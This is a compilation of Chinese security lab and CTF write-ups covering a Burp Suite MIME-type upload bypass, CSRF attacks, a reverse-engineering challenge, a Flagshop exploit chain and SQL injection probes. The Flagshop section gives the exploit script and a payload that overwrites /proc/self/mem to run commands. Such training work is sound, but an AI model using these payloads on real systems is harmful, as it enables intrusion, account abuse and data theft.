2.了解服务端MIME类型检测: 服务端MIME检测类型图片上传过程中http包的Content-Type是否为image/jpeg,如果是就可以成功上传。相关源代码: 可以看到红色区域中的if语句只对Content-Type和图片的大小做了判断。 三、实验目的 通过本实验了解利用Burpsuite绕过MIME上传检测的过程。 四、实验环境 服务器:win2003,IP地址:10.1.1.59:81 测试者:win7,IP地址随机 五、实验步骤 步骤一: 1.使用Burpsuite的代理功能: 访问http://10.1.1.59:81/,输入用户名:admin,密码:password,打开burpsuite,设置好浏览器代理,点击sql injection: 截获的数据包如下: 单击右键,如下图所示: Send to XXX分别表示将截获的数据发送到各个模块,然后在各模块下进行下一步操作。 下拉菜单,点击Send to Spider切换到Spider模块下,burpsuite会自动对网站进行爬行,切换到Control选项卡下可以查看爬行的状态和设置爬行范围,Options选项卡中可以进行爬行的设置等。一段时间后切换到Target模块查看结果: Change request method表示更改请求方式,如之前使用的GET请求,点击Change request method后为变为POST: Don’t intercept requests表示不截获请求,比如我们选择To this host,在Intercept is on时burp也不对此主机的请求做拦截。我们就可以正常访问该网页了。 然后切换到Proxy的Options选项卡下,查看Intercept Client Requests,已增一条记录: Do intercept下Response to this request功能可用于对服务端发送过来的信息做修改来欺骗浏览器。 如果开启URL-encode as you type表示对你输入的&,=等字符将会被URL编码替换。 2.Target模块: 这个模块下有两个选项卡,Site map主要是将爬行的站点以树形结构显示,Scope主要是用来设置范围进行过滤。 有时当我们对一个目标网址进行测试时,Site map下会出现许多不相关的网址,我们可以使用Filter来过滤,只留下目标网址: 点击Filter,勾选Show only in-scope items: 此时Site map下只剩下目标网址了: 然后我们随便点击一个目录又会出现许多功能: 点击Remove from scope,比如我此时选择css,该目录就会消失,对应的Scope选项卡下便会多出一条记录: 点击Spider this branch,burp就会对该目录进行爬行。 点击Expand branch来展开分支,其他功能不是很常用,有兴趣可以自行研究哦。 Site map选项卡右边可以看到一些请求的信息,在Host下可以选择对链接进行高亮显示,comment下可以添加注释,针对单个链接也可进行右键操作。 步骤二: 使用burpsuite上传绕过服务端MIME类型检测: 1.首先在桌面上新建一个1.txt,此处我写入“hello_world”。因为目标主机只允许我们上传jpg文件,那么我们下载就要绕过这个限制,上传一个txt文件上去: 2.打开http://10.1.1.59:81/,输入用户名:admin 密码:password,点击Upload: 3.设置好浏览器代理后,我们选择刚才创建的txt文件进行上传。此时burpsuite已经截获到了数据包,我们右击选择“send to reprater”: 4.切换到Repeater中将Content-Type后的text/plain修改为image/jpeg: 5.点击go,从右侧可看到已经上传成功,在右下方输入1.txt进行搜索刚才上传的图片: 6.关闭代理,打开搜索到的路径: 六、答题 注:请在特定的环境下进行实验(如虚拟机)。切记不要对他人的网站进行实验,如造成不利影响或产生违法行为,一切后果自负。
你的钱为什么会被转走,这篇文章告诉你答案
本篇文章内容,主要是关于CSRF。 01 什么是CSRF? CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。 CSRF攻击原理如下: ■ 用户打开浏览器,访问登陆受信任的A网站 ■ 在用户信息通过验证后,服务器会返回一个cookie给浏览器,用户登陆网站A成功,可以正常发送请求到网站A ■ 用户未退出网站A,在同一浏览器中,打开一个危险网站B ■ 网站B收到用户请求后,返回一些恶意代码,并发出请求要求访问网站A ■浏览器收到这些恶意代码以后,在用户不知情的情况下,利用cookie信息,向网站A发送恶意请求,网站A会根据cookie信息以用户的权限去处理该请求,导致来自网站B的恶意代码被执行。这样太过于官方,简单来说就是通过构造URL造成攻击的就是CSRF,用目标的cookie来执行我们的攻击。 02 你的钱为什么会被转走? 现在有张三和李四进行转账。 1、张三给李四100块,执行的操作是: xxx/transfer.php?from=张三&money=100&to=李四 注意此时的张三没有把页面关闭掉。 2、黑客想把钱转给自己,执行的操作是: xxx/transfer.php?from=张三&money=100&to=黑客 很明显会失败,这是因为张三在登录系统的时候会通过cookie,把自己的session传递给后台服务器。此时系统检查当前的session中的身份,发现不正确就拒绝了。 3、黑客继续想办法,使用不良网站诱导: 网站的连接很有颜色感,让张三欲罢不能,于是点击了诱导链接A。此时返回给黑客的信息就是: 如果此时张三刚刚给李四转完钱,并且页面还没关闭,就点击了这个链接,那么就会执行上面的操作。这是因为此时的黑客身份就是张三的信息,银行不知道以为是张三,于是接受了请求。 03 如何挖掘CSRF漏洞 CSRF用于越权操作,漏洞在有权限控制的地方,其构造URL或者get提交,都可以测一测。 黑盒 打开非静态操作的页面,抓包查看是否存在token,如果没有token,直接请求这个页面,不带referer,如果返回的数据是一样的话,那说明很有可能有CSRF漏洞了。 白盒 读代码的时候看看核心文件里有没有验证token和referer相关的代码。可以直接搜索token关键字。 使用工具——半自动检测CSRF 使用CSRFTester教程 https://www.sogou.com/link?url=DSOYnZeCC_p8qT7bQ6Ez_IrwkGJvRRLdYQYE4_vHjb03UFOatHCO_d9GQw9zhM_U 下载地址:http://www.mediafire.com/file/3j9kbyd3rtardq5/CSRFTester-1.0-src.zip/file
CTF挑战赛-蚁景网安实验室
[TOCCTF挑战赛-蚁景网安实验室逆向解析] http://www.yijinglab.com/CTFrace.html1.逆向100 修改后缀为.apk 安卓模拟器打开,发现要求输入Password 用Android逆向助手打开,dex转jar,发现明文password 描述输入,得到flag。 2.逆向200 题目描述: pwd1_pwd2在这里插入图片描述疑似有两层密码,查壳无壳。 先求pwd1 OD打开,查字符串, 在这里插入图片描述双击“You passed level1!”,进入代码窗口。F2下断点,F9运行,程序终止,发现操作错误。 重新运行,双击上一行文本“%20s”。下断点,运行,F8单步, 程序运行,随便输入1111。F8单步,发现字符串。 求pwd2 既然下面%20s为第一层,则同理第二层为最上面的%20s,双击跟随到代码窗口。 在求出pwd1时,新出现一个API:  此为百度截图 在求pwd2时,下断点并运行,发现最后程序终止,我们无法到达想要去的函数。 ……………………………………………………………………………… 为复制, AddVectoredExceptionHandler 将一个指向函数的指针作为参数,把这个函数的地址添加到已注册的异常处理程序链表中。 那么这里的int3异常会交给异常处理程序链表中第一个处理函数处理,假如调试器处理这个异常,我们就到不了那里了,所以od的设置一定要忽略所以异常,让程序或系统自己处理。 ………………………………………………………………………… 重新运行程序, 004215AB处下断点,运行,输入第一层密码,F8单步,程序开始运行,随便输入密码2222.F7单步进入。  跳到401547. f7跟进,我们可以看到作者设定的常量了, 首先判断是否到达字符串的结尾,这里作者设定的是二进制的02为结尾。 分析,将je 改成jmp,直接在cmp处下断点,不断f9,记下al中的每个字母,即为pwd2. flag:r0b0RUlez!_w3lld0ne
西湖论剑 Flagshop 分析复现
前言 比赛时候没能做出来,其实这道题就是一道pwn题。后面与p w n师傅讨论分析EXP分析还原了解题过程。学到了很多,也希望分享给大家。 任意文件读取 抓包或者看源码就会发现有一个SSRF,但是没有权限读flag,测试发现存在一个readflag的elf文件。 读取题目全部源码: backend.php <?php $offset = isset($_GET['offset']) ? $_GET['offset'] : 0; $buffer = isset($_GET['buffer']) ? $_GET['buffer'] : ""; if (isset($_GET['writefile'])) {     $fp = fopen($_GET['writefile'], "a");     fseek($fp, $offset);     fwrite($fp, $buffer);     fclose($fp); } if (isset($_GET['readfile'])) {     echo file_get_contents($_GET['readfile']); } ?> index.php <?php if(!isset($_COOKIE['sandbox'])) {   $uuid = system("/var/www/html/copy");   setcookie("sandbox", $uuid);   header("Location: sandbox/".$uuid); } else {   header("Location: sandbox/".$_COOKIE['sandbox']); } 文件写入 ◆ 从源码可以知道,这里是存在一个文件写入的问题,但是测试和对copy这个elf文件反编译发现,网站根目录是没有写入权限的。但是测试发现tmp目录是可写的。 ◆ 做到这里基本没思路了。后面看了下Nul1的wp,发现这就是这道pwn题改的。(https://www.pianshen.com/article/4537767804/) 内存泄露和动态链接库 /proc/self/maps 包含了当前进程映射的内存区域以及他们的访问权限.文件格式如下: address           perms offset  dev   inode   pathname 08048000-08056000 r-xp 00000000 03:0c 64593   /usr/sbin/gpm 08056000-08058000 rw-p 0000d000 03:0c 64593   /usr/sbin/gpm 08058000-0805b000 rwxp 00000000 00:00 0 40000000-40013000 r-xp 00000000 03:0c 4165    /lib/ld-2.2.4.so 40013000-40015000 rw-p 00012000 03:0c 4165    /lib/ld-2.2.4.so 4001f000-40135000 r-xp 00000000 03:0c 45494   /lib/libc-2.2.4.so 40135000-4013e000 rw-p 00115000 03:0c 45494   /lib/libc-2.2.4.so 4013e000-40142000 rw-p 00000000 00:00 0 bffff000-c0000000 rwxp 00000000 00:00 0 ◆ 通过SSRF漏洞直接读取/proc/self/maps来泄露当前程序调用的到动态链接库和内存地址。 ◆ 直接把/lib/x86_64-linux-gnu/libc-2.19.so通过SSRF读取然后下载下来,通过readelf来查看system的地址。可以得知system函数的偏移是:0x0000000000046590 ◆ 我们将动态链接库的地址加上system的偏移就能计算出system函数的地址。 <?php echo dechex(0x7ffff5f40000+0x0000000000046590); //system函数结果:0x7ffff5f86590 ?> 计算偏移 ◆ 我们知道system函数的地址,我们就可以将open函数的地址替换为system函数的地址,我们在file_get_contents传入参数为系统命令实际执行的却是system函数,这样我们将readflag的结果输出到文件,或者反弹shell。这样我们下一步就是要计算open函数在二进制文件中的实际偏移,最后直接修改内存。 ◆ 这里需要用到/proc/self/exe 在Linux2.2的内核及其之后,/proc/pid/exe是直接执行的二进制文件的符号链接.这个符号链接能够被取消.尝试打开这个文件就相当与打开了二进制文件,甚至可以通过重新输入/proc/pid/exe重新运行一个对应于pid的二进制文件.在一个多线程的程序中,如果主线程已经退出了,就无法访问这个符号链接. 在Linux2.0及其之前,/proc/pid/exe是指向当前进程执行的二进制文件. 同样我们之间将其搞下来,用下面脚本来计算open函数的偏移。 <?php function packlli($value) {     $higher = ($value & 0xffffffff00000000) >> 32;     $lower = $value & 0x00000000ffffffff;     return pack('V2', $lower, $higher); } function unp($value) {     return hexdec(bin2hex(strrev($value))); } function parseelf($bin_ver, $rela = false) {     $bin = file_get_contents($bin_ver);     $e_shoff = unp(substr($bin, 0x28, 8));     $e_shentsize = unp(substr($bin, 0x3a, 2));     $e_shnum = unp(substr($bin, 0x3c, 2));     $e_shstrndx = unp(substr($bin, 0x3e, 2));     for($i = 0; $i < $e_shnum; $i += 1) {         $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));         if($sh_type == 11) { // SHT_DYNSYM              $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));             $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));             $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));         }         elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB             $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));             $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));         }         elseif($rela && $sh_type == 4) { // SHT_RELA             $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));             $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));             $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));         }     }     if($rela) {         for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {             $r_offset = unp(substr($bin, $i, 8));             $r_info = unp(substr($bin, $i + 8, 8)) >> 32;             $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));             $name = '';             $j = $strtab_off + $name_off - 1;             while($bin[++$j] != "\0") {                 $name .= $bin[$j];                             }               if($name == 'open') {                 return $r_offset;             }         }     }     else {         for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {             $name_off = unp(substr($bin, $i, 4));             $name = '';             $j = $strtab_off + $name_off - 1;             while($bin[++$j] != "\0") {                 $name .= $bin[$j];             }             if($name == '__libc_system') {                 $system_offset = unp(substr($bin, $i + 8, 8));             }             if($name == '__open') {                 $open_offset = unp(substr($bin, $i + 8, 8));             }         }         return array($system_offset, $open_offset);     } } $open_php = parseelf('exe', true); //$maps = file_get_contents('lib.txt'); //$pie_base =(hexdec(explode('-', $maps)[0])); echo $open_php; //结果:15333784 ?> 修改进程内存 /proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。 ◆ 也就是说我们刚才从maps和动态链接库计算出system的地址需要修改mem来使得open的地址变成system的地址。既然我们偏移地址和文件偏移都算出来了直接构造payload即可。 backend.php?readfile=/readflag>/tmp/i_o_u_hlq&writefile=/proc/self/mem&buffer=%90%65%f8%f5%ff%7f&offset=15333784 ◆ 直接读取/tmp/i_o_u_hlq就可以直接getflag 参考 Nu1L 西湖论剑wp https://blog.spoock.com/2019/10/08/proc/https://www.pianshen.com/article/4537767804/相关实验--https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015111814141500001&pk_campaign=heetian-wemedia (CTF PWN进阶训练实战,基于两次缓冲区溢出来获取服务器控制权限。)
CSRF攻击实验 ——蚁景网安实验室学习笔记
实验链接 本实验以PHP和Mysql为环境,展示了CSRF攻击的原理和攻击过程。通过实验结果结合对攻击代码的分析,可更直观清晰地认识到Web安全里这种常见的攻击方式。 链接:http://www.yijinglab.com/expc.do?ce=5984201a-5b7e-42c2-959b-6e4cdfdb932c 实验简介 实验所属系列:web攻防 实验对象:本科/专科信息安全专业 实验类别:实践实验类 预备知识 ● 浏览器有关Cookie的设计缺陷 当前主流的Web应用都是采用Cookie方式来保存会话状态,但是浏览器在引入Cookie时却忽视了一项非常重要的安全因素,即从WEB页面产生的文件请求都会带上COOKIE。只要请求域与Cookie信息所指定的域相一致,无论是访问Web页面,还是请求图片,文本等资源,用户在发出请求时都会带上Cookie。 Cookie的这一特性使得用户始终以登录的身份访问网站提供了便利,但同时,也方便了攻击者盗用身份信息执行恶意行为。 ● 什么是CSRF CSRF(Cross-site request forgery)跨站请求伪造,也被称为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。CSRF通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。 用户登录并访问了一正常网站,登录成功后,网站返回用户的身份标识Cookie给用户。当用户访问到恶意网站时,恶意网站强制用户去向正常网站发送恶意请求。由于用户此时拥有正常网站的Cookie,所以就相当于攻击者盗用了用户身份,去访问了正常(目标)网站。 一次完整的CSRF攻击,需要受害用户需要完成两个步骤: ● 登录正常网站,并在本地生成Cookie。 ● 在不退出正常网站的情况下,访问恶意网站。 ● HTTP GET和POST请求区别解析 URL全称是资源描述符,我们可以这样认为:一个URL地址,它用于描述一个网络上的资源,而HTTP中的GET,POST,PUT,DELETE就对应着对这个资源的查,改,增,删4个操作。GET一般用于获取/查询资源信息,而POST一般用于更新资源信息。 Get 方法通过 URL 请求来传递用户的数据,将表单内各字段名称与其内容,以成对的字符串连接,置于URL 后,如 http://www.xxx.com/index.php?username=liming&password=123456& 数据都会直接显示在 URL 上,就像用户点击一个链接一样。 Post 方法通过 HTTP Post 机制,将表单内各字段名称与其内容放置在 HTML 表头(header)内一起传送给服务器端。 GET与POST方法实例: GET /127.0.0.1?username=liming&password=123456 HTTP/1.1 Host: http://www.xxx.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 Connection: Keep-Alive POST / HTTP/1.1 Host: http://www.xxx.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 40 Connection: Keep-Alive 实验目的 ● 了解Cookie在设计方面存在的缺陷 ● 掌握CSRF攻击的原理 ● 掌握Get和Post形式CSRF攻击脚本的写法 实验环境 两台Windows XP机器(分别安装有XAMPP集成部署环境),两台机器网络连通 一台机器部署正常网站(留言板)10.1.1.189 一台机器部署恶意网站 10.1.1.23 部署正常网站的主机环境中有Chrome浏览器(或其他方便抓包分析的浏览器或工具) 实验步骤 步骤一 任务描述:实验基于Get形式的CSRF攻击 一、在target主机机中登录留言板 打开浏览器,登录留言板网站:http://10.1.1.189/csrf-get-target/login.php 进入后,输入用户ID admin与密码 123456 登录,登录后可看到admin用户的留言内容。 二、留言并分析留言数据包 点击添加留言按钮进入留言添加页面: 按F12按钮打开Chrome浏览器的调试工具(或打开其他等效的Http调试软件),切换到Network标签一栏,选中Preserve Log选项,准备抓取留言数据包。 在输入框中分别输入标题和内容,点击add按钮。在调试窗口中点击”add.php?title=…”一项查看刚才发送留言请求的Http协议内容,如下图所示: 从抓包截图中可以看到,我们在留言板中输入的内容,附在页面请求地址中发给了服务器,这种参数字段存放在URL中的请求叫做GET请求。即我们首先尝试的是基于GET请求形式的CSRF攻击,下节会介绍POST请求形式的CSRF攻击。 同时我们发现用户在添加留言请求中,附带了用户身份标识Cookie字段。当然这里为演示用,我们直接把明文用户名和密码当作了Cookie值。 三、登录恶意网站并查看CSRF攻击效果 用户在浏览器中新建一标签页,访问恶意网站: http://10.1.1.23/csrf-get-attacker/ attacker.html 我们发现恶意网站表面看上去就是一个正常的网页,但事实上恶意网站在后台已经向用户下发了恶意脚本,该脚本利用了之前用户登录留言板所保存的Cookie信息,冒充用户在留言板上进行留言。 重新访问留言板网站: http://10.1.1.189/csrf-get-target/list.php,发现留言板上多了一条恶意的留言内容,如下图所示: 该留言内容就是刚才我们登录恶意网站过程中身份被冒充而发表出来的。 步骤二 任务描述:实验基于Post形式的CSRF攻击 一、登录留言板 打开浏览器,登录留言板网站: http://10.1.1.189/csrf-post-target/login.php 进入后,输入用户ID admin与密码 123456 登陆。 二、留言并分析留言数据包 按照步骤一中的方法,重新抓取上传数据包,查看留言内容格式。 从抓包截图中可以看到,我们在留言板中输入的内容,附在HTTP请求的Data域中发给了服务器,这种参数字段存放在HTTP Data域中的请求叫做Post请求。 在浏览器中新建一标签页,访问恶意网站: http://10.1.1.23/csrf-post-attacker/ attacker.html 访问留言板网站: http://10.1.1.189/csrf-post-target/list.php 发现留言板上多了一条恶意留言内容。该留言内容就是刚才我们登录恶意网站过程中身份被冒充而发表出来的。 步骤三 任务描述:审查恶意网站代码,了解CSRF攻击原理 返回到恶意网站页面: http://10.1.1.23/csrf-get-attacker/ attacker.html 鼠标右键,点击弹出菜单中的“查看源代码选项”,查看恶意网站代码,如下图所示: 从代码中可以看到,恶意网站在页面中植入了一个标签,由于其通过CSS样式设置为隐藏,所以我们在访问过程中并没有看到实际的标签内容。这个标签通过设置src地址,向留言板网站发送了一条恶意留言请求。由于浏览器保存了我们在留言板网站的身份标识Cookie,并在发送请求时自动将Cookie附带上,所以恶意网站就成功盗用了我们的身份,完成了一次恶意留言行为,这就是基于GET请求的CSRF攻击全过程。 返回到另一恶意网站页面: http://10.1.1.23/csrf-post-attacker/ attacker.html 鼠标右键,点击弹出菜单中的“查看源代码选项”,查看恶意网站代码,如下图所示: 从代码中可以看到,恶意网站在页面中植入了一个form表单,这个表单的action设置为留言网站地址。同时植入的还有一段Javascript代码,该段代码功能是自动提交form表单数据。这样,当用户访问到该恶意网站时,实际上就通过Post方法向留言板发出了一条恶意留言请求。 答题
SQL注入实验学习笔记
实操靶场地址:https://www.yijinglab.com/expc.do?ec=67dd4a67-d8c7-4bfa-a4d0-4bc3a2a65b04&pk_campaign=heetian-wemedia 根据指导书我们要先在实验机进入这个网址http://10.1.1.11:81 进入之后会看到三个实例。 实例一 根据指导书的提示来做这一题。后面两个实例也要看这个指导书。 先判断是否存在注入 方法一 在参数后面加上单引号,比如: http://xxx/abc.php?id=1’ 如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。当然还有可能加了’,和没加是一样的,这也有可能是注入。因为当把错误提示关闭时,它是不会在页面显示的。 方法二 构造 and 1 = 1 和 and 1 = 2 如果两个页面显示不一样,那么就说明存在注入了。 这里使用的是方法二。 两次显示不一样,存在注入。 猜测字段数 在后面加一个 %23或–+把后面的注释掉 使用order by 来对数据进行排序,我们可以从1开始测试或者使用均分法先从一个大的数据测,然后再分半。 先用5能出现数据 http://10.1.1.11:81/sqli/example1.php?name=root’ order by 5%23 接着用6试一下 http://10.1.1.11:81/sqli/example1.php?name=root’ order by 6%23 此时已经出错所以有5个字段 使用union联合注入,union 的作用是将两个 sql 语句进行联合,union 前后的两个 sql 语句的选择列数要相同才可以。 猜字段内容 实例二 这个实例的操作步骤和第一个实例的差不多,就是不能用空格,至于为什么不能用空格,可以看一下指导书 虽然说是少用空格但是出现空格就会报错,但在判断是否注入的时候不出现空格是可以的 在猜测字段数的时候以为把空格去掉就可以但其实是错的,因为之前没怎么做过sql注入的题目,所以就在网上搜索了一下怎样绕过空格。 有两个解决方法 我是用的第一种方法。接下来的步骤和实验一的一样 猜测字段数 这个也是5个字段 猜字段内容 实例三 实例三和实例二的操作方法完全相同。 看是否存在注入 猜测字段数 这里也是5 猜测字段内容